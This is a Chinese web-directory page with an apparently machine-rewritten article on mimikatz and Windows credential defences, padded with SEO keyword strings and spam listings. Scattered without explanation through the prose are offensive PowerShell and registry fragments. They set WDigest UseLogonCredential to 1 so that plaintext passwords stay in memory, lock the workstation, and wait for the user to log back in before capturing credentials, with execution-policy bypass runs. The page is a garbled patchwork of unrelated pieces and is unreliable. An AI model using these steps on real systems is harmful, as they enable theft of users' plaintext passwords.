网址导航网首页

嗨,欢迎来到25Qi网址导航

站长QQ:2598903095

SEO学习

mimikatz 抓取密码报错的原因及防御策略分析

时间:2024-09-28 丨 作者:25QI导航 丨 关键词:组策略删除本地管理员

网络安全领域,mimikatz工具以其在Windows环境下窃取密码哈希,甚至包括明文密码的能力而广为人知,成为黑客的强力工具。然而,要充分利用其功能,管理员权限是不可或缺的条件。本文旨在探讨mimikatz为何需管理员权限,及其背后的Windows安全架构。

local policy(本地)-> site policy(站点)->  domain policy(域)-> ou policy(组织单元)

管理员权限:mimikatz的“入场券”

mimikatz之所以依赖管理员权限,关键在于其需访问系统内敏感数据,诸如内存中的密码散列。这类数据非普通用户所能触及,唯有管理权限用户方可探查这些隐私。此举可喻为一纸高级会所的门票,无此券则门外徘徊,无缘洞悉内部情形。

为保障敏感数据安全,Windows系统部署了多重安全防护措施,其中“调试程序权限”便是其中之一。此权限仅为管理员所保留。mimikatz若欲成功提取哈希值,需先获取此权限。此过程相当于进入俱乐部后需经历多道安检,以证实参与者并无恶意目的。

组策略:Windows的安全“守门员”

在探讨Windows安全架构时,组策略是不可或缺的一环。充当安全“守门人”的角色,它设定了用户的权限范围,限定哪些操作可被实施,哪些则严格禁止。若在组策略中取消调试程序的访问权,即便是系统管理员,也无法利用mimikatz进行哈希的提取。此情形就如同守门员严密封锁了大门,任何人都无法擅自入内。

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest

然而,组策略并非无懈可击。即便配置了相应策略,mimikatz仍有手段提升权限并捕获哈希值。对此情形,即可比作守门员虽已关闭大门,却仍避不过智者通过其他途径潜入。

WDigestAuth:明文密码的“双刃剑”

组策略删除本地管理员_组策略删除本地用户_如何删除策略组

WDigestAuth在Windows环境下,既为一项便捷工具亦存在争议。其便利性在于简化了如IIS单点登录认证等场景下的身份验证过程,但同时也因在内存中存储用户明文密码而暴露于mimikatz的攻击之下。微软已对此问题有所察觉,并在更新中允许用户自主选择WDigestAuth的启用与否,如同持有双刃剑,善用则安保周全,误用则可能反噬自身。

启用WDigestAuth后,用户再次登录时,mimikatz能轻易提取明文密码,因UseLogonCredential已设为1,系统将明文密码存于内存以备mimikatz提取。此情形犹如家中置放大量现金,便利同时亦招致窃贼觊觎。

NTLM凭据缓存:Windows的“应急粮仓”

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

在Windows操作系统中,NTLM凭据缓存充当一个“紧急储备”。一旦系统暂时难以访问域控制器,系统将试图调用本地存储的认证信息。这些信息默认存储十条,足以应对多数紧急需求。此情形宛如家中预先备有的紧急食物,虽日常未必启用,却在危急时刻发挥关键作用。

修改注册表

锁屏

进入循环,判断当前系统是否结束锁屏状态

用户登录后,跳出循环等待,立即导出明文口令并保存

此“应急粮仓”存在潜在风险。一旦攻击者获取到储存的凭证,便可能假扮合法用户执行操作。此情形宛如紧急情况下的食品被盗,原应为援手却成累赘。

#!bash
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

受限管理员模式:RDP的安保“金库”

#!powershell
$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
$Flag=$key.UseLogonCredential
write-host "[+]Checking Flag"
while($Flag -eq 1)
{
write-host "[+]Flag Normal"
write-host "[+]Wait 10 Seconds..."
Start-Sleep -Seconds 10
$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
$Flag=$key.UseLogonCredential
write-host "[+]Checking Flag"
}
write-host "[!]Flag Changed!"

Windows系统的“受限管理员模式”系一项安保机制,旨在阻止RDP用户凭证驻留于创建RDP连接的设备内存。此功能如同为保险柜上锁,即便盗贼光顾,也无法触及珍贵财物。

powershell.exe -ExecutionPolicy Bypass -File test.ps1

组策略删除本地管理员_组策略删除本地用户_如何删除策略组

启用受限管理员模式需在客户端及服务端进行相应配置。服务端需在注册表中新增特定键值。此举如同更换保险箱更安全的锁,确保完全安全。

组策略与SID:Windows的“安全防线”

Windows环境下,组策略与SID扮演着关键的安全屏障。将特定SID关联的组纳入策略配置,有助于阻挡外部对系统或服务的非法接入。此措施相当于增设了家庭监控与警报系统,即便入侵者出现,也能迅速识别并采取应对措施。

然而,“安全壁垒”并非铁壁铜墙。攻击者不断开发新途径突破这些壁垒。此情形如同,即便监控设备和警报系统尖端,窃贼亦总能发现新漏洞以破解。

rundll32.exe user32.dll,LockWorkStation

总结:Windows安全机制的“攻”与“防”

#!powershell
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@

$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

Windows的安全架构体现为一场攻防战。mimikatz获取哈希值须借助管理员权限,体现Windows对敏感数据的严加守护。组策略、WDigest身份验证、NTLM凭据缓存、受限管理员模式和结合组策略与安全标识符(SID)均构成Windows维护竞争平衡的防御手段。

powershell.exe -ExecutionPolicy Bypass -File test2.ps1

然而,如先前提及,此类“防御”手段并非万无一失。此情形犹如尽管家中安装了大量安保设施,盗贼依旧能发现并利用漏洞进行破坏。

敬请指出Windows安全体系尚存何等优化空间。期待在评论区查阅您的宝贵意见,并请顺手点赞及转发本内容。

#!powershell
function local:Get-DelegateType {
Param (
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')

$TypeBuilder.CreateType()
}
function local:Get-ProCADdress {
Param (
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Start-Sleep -Seconds 10
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
$hWindow = $GetForegroundWindow.Invoke()


write-host "[+]Checking Flag"
while($hWindow -eq 0)
{
write-host "[+]LockScreen"
write-host "[+]Wait 10 Seconds..."
Start-Sleep -Seconds 10
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
$hWindow = $GetForegroundWindow.Invoke()
write-host "[+]Checking Flag"

}
write-host "[!]Got Screen!"

在线随机小姐姐图片换一批
最新收录
  • 体育赛事分析报道

    让足球滚一会提供足球、篮球、NBA赛事前瞻分析推荐,与各联赛时实新闻报道、球员转会消息、赛事录像回放等资讯,用心认真把每件事做到最好的网站。

  • 足球比分直播

    体育即时比分网提供实时足球比分与篮球比分数据,包括即时比分、赛程、球队、竞猜等数据,让您无时无刻都能掌握时实足球比分与篮球比分动态消息。即时更新各项比赛数据与完赛结果。让足球滚一会带您体验精彩的竞猜足球比赛!

  • 金魔网

    金魔网

  • 外籍模特

    外籍模特

  • imtoken钱包

    :imtoken钱包为您提供最新的imtoken钱包信息,imtoken是全球最大的数字货币钱包,支持包括BTC, ETH, BSC, TRON, Aptos, Polygon, Solana, OKExChain, Polkadot, Kusama, EOS等在内的所有主流公链及Layer 2,已为全球近千万用户提供可信赖的数字货币资产管理服务,也是当前DeFi用户必备的工具钱包。

  • 明星经纪公司

    我们专注提供明星代言、商演、翻包视频、祝福视频录制等业务,十多年行业服务经验